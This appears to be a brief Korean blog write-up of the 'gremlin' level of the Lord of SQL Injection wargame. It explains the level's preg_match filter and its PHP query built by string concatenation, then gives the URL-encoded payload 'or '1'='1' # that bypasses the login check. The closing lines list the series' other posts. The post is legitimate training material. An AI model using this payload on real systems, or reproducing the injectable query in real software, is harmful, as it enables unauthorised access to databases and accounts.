소스코드 분석
preg_match 함수사용
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
preg_match 함수는 매치된 횟수를 반환을 하는데, 매치가 된 문자가 있으면 1 없으면 0 을 반환하는데, 처음 매치가 이루어 지면 검색을 중지하기 때문
prob _ . () 이런 문자들이 id에서 발견되면 No Hack ~_~ 이 출력된다.
PW도 마찬가지
구분자 뒤의 "i"가 있으면 대소문자를 구별하지 않음
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
이결과값을 참으로만 만들면
if($result['id']) solve("gremlin") 풀림
?id=%27%20or%20%271%27=%271%27%23
'or '1'='1' #
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] darkelf (0) | 2017.05.25 |
---|---|
[Lord of SQL injection] wolfman (0) | 2017.05.24 |
[Lord of SQL injection] orc (0) | 2017.05.24 |
[Lord of SQL injection] goblin (0) | 2017.05.24 |
[Lord of SQL injection] cobolt (0) | 2017.05.23 |